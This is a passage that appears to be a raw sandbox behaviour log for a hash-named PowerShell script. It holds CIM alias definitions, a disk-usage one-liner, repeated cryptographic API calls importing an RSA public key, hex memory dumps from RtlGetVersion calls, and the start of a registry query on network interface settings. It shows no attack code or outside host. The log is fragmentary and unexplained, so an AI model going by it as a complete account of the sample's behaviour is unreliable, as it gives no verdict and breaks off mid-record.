Set-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue , Script name: na contents: Set-Alias -Name ncim -Value New-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue , Script name: na contents: Set-Alias -Name rcim -Value Remove-cimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue , Script name: na contents: Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinue , Script name: na contents: Set-Alias -Name gcai -Value Get-CimAssociatedInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue , Script name: na contents: Set-Alias -Name rcie -Value Register-CimIndicationEvent -Option ReadOnly, AllScope -ErrorAction SilentlyContinue , Script name: na contents: Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue , Script name: na contents: Set-Alias -Name rcms -Value Remove-cimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue , Script name: na contents: Set-Alias -Name gcms -Value Get-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue , Script name: na contents: Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue , Script name: na contents: Set-Alias -Name gcls -Value Get-CimClass -Option ReadOnly, AllScope -ErrorAction SilentlyContinue , Script name: C:\73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin.ps1 contents: { "$($_.DeviceID) $([Math]::Round(($_.Size - $_.FreeSpace)/1GB 1))/$([Math]::Round($_.Size/1GB,1))GB" } 2a:T5b4,"powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "d0a573692a020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "f064e86b2a020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "f07ce86b2a020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "f069e86b2a020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "f079e86b2a020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "f06be86b2a020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "f06de86b2a020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "f06ae86b2a020000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "0012456c2a020000" "szProvider": "Microsoft Enhanced RSA and AES Cryptographic Provider" "dwProvType": "24" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "00e3446c2a020000" "dwProvType": "1" "dwFlags": "4026531840"}2b:T101c,"powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a697a1770" "pszBlobType": "RSAPUBLICBLOB" "phKey": "00a780692a020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a697a1770" "pszBlobType": "RSAPUBLICBLOB" "phKey": "f09e80692a020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a697a1770" "pszBlobType": "RSAPUBLICBLOB" "phKey": "209f80692a020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a697a1770" "pszBlobType": "RSAPUBLICBLOB" "phKey": "40c3e86b2a020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a697a1770" "pszBlobType": "RSAPUBLICBLOB" "phKey": "60c1e86b2a020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a697a1770" "pszBlobType": "RSAPUBLICBLOB" "phKey": "10c3e86b2a020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a697a1770" "pszBlobType": "RSAPUBLICBLOB" "phKey": "@y" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a697a1770" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e078ea6b2a020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a697a1770" "pszBlobType": "RSAPUBLICBLOB" "phKey": "007aea6b2a020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a697a1770" "pszBlobType": "RSAPUBLICBLOB" "phKey": "c06f76692a020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a697a1770" "pszBlobType": "RSAPUBLICBLOB" "phKey": "f06f76692a020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a697a1770" "pszBlobType": "RSAPUBLICBLOB" "phKey": "80cee86b2a020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a697a1770" "pszBlobType": "RSAPUBLICBLOB" "phKey": "a0ac80692a020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a697a1770" "pszBlobType": "RSAPUBLICBLOB" "phKey": "c0aa80692a020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a697a1770" "pszBlobType": "RSAPUBLICBLOB" "phKey": "30a480692a020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a697a1770" "pszBlobType": "RSAPUBLICBLOB" "phKey": "80a880692a020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a697a1770" "pszBlobType": "RSAPUBLICBLOB" "phKey": "b09eef6b2a020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a697a1770" "pszBlobType": "RSAPUBLICBLOB" "phKey": "309aef6b2a020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a697a1770" "pszBlobType": "RSAPUBLICBLOB" "phKey": "7093ef6b2a020000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "22a6be93200" "pszBlobType": "RSAPUBLICBLOB" "phKey": "f0e0f06b2a020000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"}2c:T21fc,"powershell.exe" called "CryptImportKey" with parameters {"hProv": "22a6973a5d0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "f08580692a020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "22a6973a5d0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "a09280692a020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "22a6973a5d0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "e08980692a020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "22a6973a5d0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "808c80692a020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "22a6973a5d0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "e09080692a020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "22a6be864f0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "e08980692a020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "22a6973a5d0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "50d2ea6b2a020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "22a6973a5d0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "20d0ea6b2a020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "22a6be864f0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "f0dbea6b2a020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "22a6973a5d0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "c0d2ea6b2a020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "22a6973a5d0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "e0d8ea6b2a020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "22a6973a5d0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "70d8ea6b2a020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "22a6973a5d0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "60d5ea6b2a020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "22a6973a5d0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "a0daea6b2a020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "22a6973a5d0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "c0d9ea6b2a020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "22a6973a5d0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "40cfea6b2a020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "22a6be87cf0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "30daea6b2a020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "22a6be87cf0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "40d6ea6b2a020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "22a6973a5d0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "80a9f66b2a020000"}2d:T38f4,"powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac26e4f87f0000000000000000000051edf1e5f87f0000000000002a02000000000000000000008a25e7a54d5b00002a00000000000000a0c374692a0200008fecf1e5f87f0000e0ac26e4f87f0000e0ac26e4f87f0000000000000000000000000000f87f0000ffffff7f5a7a000000000000000000000000000000000000d8ce1ae4f87f00002a0000000000000069c3d3e3f87f0000310000000000000040020000000000004402000000000000110001100000000000dec7f33000000003a3cae5f87f000000dec7f33000000000000000000000002b00000000000000000000000000000020b0d9e3f87f0000b43fd8e3f87f0000e0ce1ae4 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000001000000000000000b000000000000000b0000000000000058000000000000000000000000000000000000000000000000000e00000000000e00000001000000000000000000000000000000000000000b0000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000360d000000000000e0d5c7f33000000004000000000000003090af75f901000006000000000000000300000000000000a7400de3f87f00000000000000000000000000000000000000000000000000000101000000000000506277692a0200000a000000000000000000000000000000000000000000000043003a005c0055007300650072007300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000498efe5f87f00000000000000000000000000000000000000000000 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000a0116c692a020000000000000000000000006c692a0200000050b7f330000000000000000000000000000000000000000000000000000000000000000000000028002a0000000000c00c6c692a0200000e00000000000000400000000000000080cec7f33000000000000000000000000000000000000000000000000000000000000000000000000400000000000000200d6c692a020000000000000000000000006c692a0200000050b7f33000000040000000000000000000000000000000320000000000000000000000000000000000000000000000ffffffff2a02000000000000 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000050b7f33000000040000000000000000000000000000000320000000000000000000000000000000000000000000000ffffffff2a02000000000000000000000000000000000000e0e175692a020000c0e1c7f330000000d45775692a02000040de77692a02000000000000000000000000000000000000000000000000000000000000000000000000000000000000405c75692a020000545c75692a020000405c75692a020000feffffffffffffff0000000000000000820c75692a02000000000000000000000000000000000000000000000000000050cfc7f330000000320000000000000080cec7f330000000a0cec7f3300000000000007a (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000fa0c00000000000020b9c7f330000000082559efc77f00002029ae75f90100001affff7f000000002000000000000000a7400de3f87f000060c6c7f330000000000000000000000048c0c7f330000000e30000000000000040df75692a0200002b00000000000000d0bfc7f3987880574f8c6244bb63710443003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f006600740000000000cd0b000048c0c7f330000000000000000498efe5f87f00000000000000000000000000000000000000000000 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000020196c692a020000000000000000000000006c692a0200000050b7f33000000000000000000000000000000000000000000000000000000000000000000000006c006e0000000000c00c6c692a02000000000000000000008000000000000000c0b1c7f33000000000000000000000000000000000000000000000000000000000000000000000000800000000000000a0146c692a020000000000000000000000006c692a0200000050b7f330000000400000002a0200000000000000000000760000000000000000000000000000000000000000000000ffffffff2a02000000000000 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000050b7f330000000400000002a0200000000000000000000760000000000000000000000000000000000000000000000ffffffff2a02000000000000000000000000000000000000e0e175692a02000000c5c7f330000000e88d77692a020000a03078692a02000000000000000000000000000000000000000000000000000000000000000000000000000000000000408777692a020000588777692a020000408777692a020000feffffffffffffff0000000000000000c60c75692a02000000000000000000000000000000000000000000000000000090b2c7f3300000007600000000000000c0b1c7f330000000e0b1c7f33000000000307869 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000d60c000000000000c0aac7f330000000443359efc77f00007007b075f90100002cffff7f000000003200000000000000a7400de3f87f000000000000000000009669f3e5f87f00000000000000000000d100000000000000e05f78692a0200003e000000000000000000000000000000000000000000000043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c005300740061007200740020004d0065006e00750000002a020000a0197669 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000a0176c692a020000000000000000000000006c692a0200000050b7f33000000000000000000000000000000000000000000000000000000000000000000000009200940000000000c00c6c692a0200000d00000000000000b00000000000000060a3c7f33000000000000000000000000000000000000000000000000000000000000000000000000b00000000000000a0176c692a020000000000000000000000006c692a0200000050b7f330000000400000000000000000000000000000009c0000000000000000000000000000000000000000000000ffffffff2a02000000000000 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000c00c00000000000090a3c7f3300000005e3a59efc77f000040aeb075f901000037ffff7f000000003d00000000000000a7400de3f87f000060a3c7f33000000080a3c7f3300000000000004e02000000c600000000000000b09e76692a02000047000000000000000200000000000000000000000000000043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c005300740061007200740020004d0065006e0075005c00500072006f006700 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000060156c692a020000000000000000000000006c692a0200000050b7f3300000000000000000000000000000000000000000000000000000000000000000000000a400a60000000000c00c6c692a0200000e00000000000000c000000000000000309cc7f33000000000000000000000000000000000000000000000000000000000000000000000000c0000000000000060156c692a020000000000000000000000006c692a0200000050b7f330000000400000002a0200000000000000000000ae0000000000000000000000000000000000000000000000ffffffff2a02000000000000 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000ae0c000000000000609cc7f3300000007c4159efc77f000000d1af75f901000040ffff7f000000004600000000000000a7400de3f87f0000309cc7f330000000509cc7f3300000000076786902000000bd00000000000000c01476692a0200005a000000000000000200000000000000000000000000000043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c005300740061007200740020004d0065006e0075005c00500072006f006700 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000002020207200000000000f095c7f330000000ffffffffffffffff01000000000000001c96c7f330000000000000003307020233072e0000000000f5000000000000000000000000000000d8f01dc381bc00004512000000000000ff03000000000000ffffffff000000000004000000000000983ceee5f87f0000f094c7f330000000f095c7f330000000ffffffff000000000000000000000000f094c7f330000000e6740ce3f87f00007f00000000000000000400000000000000006c692a0200000050b7f330000000f095c7f330000000ffffffff00000000000000000000000000000000000000000000000000000000ffffffff2a02000000000000 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000050b7f330000000f095c7f330000000ffffffff00000000000000000000000000000000000000000000000000000000ffffffff2a02000000000000000000000000000000000000e0e175692a02000040a8c7f330000000c8ac77692a020000b06b78692a02000000000000000000000000000000000000000000000000000000000000000000000000000000000000b0a577692a020000c8a577692a020000b0a577692a020000feffffffffffffff0000000000000000240d75692a0200000000000000000000000000000000000000000000000000000000000000000000d400000000000000570069006e0064006f0077007300200050006f00 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000afef77692a020000c301000000000000afef77692a020000847d72692a020000fe010000000000000200000200000000010000004d006900630072006f0073006f006600740000004512085f2a020000d74981e2f87f00000000000000000000707c78692a020000600100610000000060b3c7f3300000004512085f2a020000c30100000000000002000002000000007d85de5bbcc4000000000000000000000000000000000000000000000000000000357de2f87f0000d02f78692a020000d667efe5f87f0000c30100c22a02000062870ee3f87f00004512085f00000000fe010000000000000000000000000000ffffffff2a02000000000000 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996aefe5f87f0000000072692a02000000000000000000000000000000000000000072692a0200009d93de5bbcc40000d667efe5f87f0000efbe000000000000b85c75692a020000f04778692a020000b85c75692a0200000000000000000000d86a78692a02000028b2c7f330000000b49d7ce2f87f000090de75692a020000d667efe5f87f0000ffffffff00000000405677692a0200000000000000000000000000000000000001000000000000000000000000000000a06978692a0200009c967de2f87f0000106d77692a0200000c00000000000000080000000000000031d40ce5f87f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996aefe5f87f0000000072692a02000000000000000000000000000000000000000072692a0200009d93de5bbcc40000d667efe5f87f0000efbe000000000000b85c75692a020000502678692a020000b85c75692a0200000000000000000000e86c78692a02000028b2c7f330000000b49d7ce2f87f000090de75692a020000d667efe5f87f0000ffffffff00000000804d77692a0200000000000000000000000000000000000001000000000000000000000000000000b06b78692a0200009c967de2f87f0000106d77692a0200000c00000000000000080000000000000031d40ce5f87f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996aefe5f87f0000000072692a02000000000000000000000000000000000000000072692a0200009d93de5bbcc40000d667efe5f87f0000efbe000000000000b85c75692a020000502678692a020000b85c75692a0200000000000000000000387678692a02000028b2c7f330000000b49d7ce2f87f000090de75692a020000d667efe5f87f0000ffffffff0000000000a375692a0200000000000000000000000000000000000001000000000000000000000000000000007578692a0200009c967de2f87f0000106d77692a0200000c00000000000000080000000000000031d40ce5f87f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00007108) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996aefe5f87f0000000072692a02000000000000000000000000000000000000000072692a0200009d93de5bbcc40000d667efe5f87f0000efbe000000000000b85c75692a020000808b78692a020000b85c75692a0200000000000000000000487e78692a02000028b2c7f330000000b49d7ce2f87f000090de75692a020000d667efe5f87f0000ffffffff00000000d09b75692a0200000000000000000000000000000000000001000000000000000000000000000000107d78692a0200009c967de2f87f0000106d77692a0200000c00000000000000080000000000000031d40ce5f87f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00007108)2e:Tc41,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: 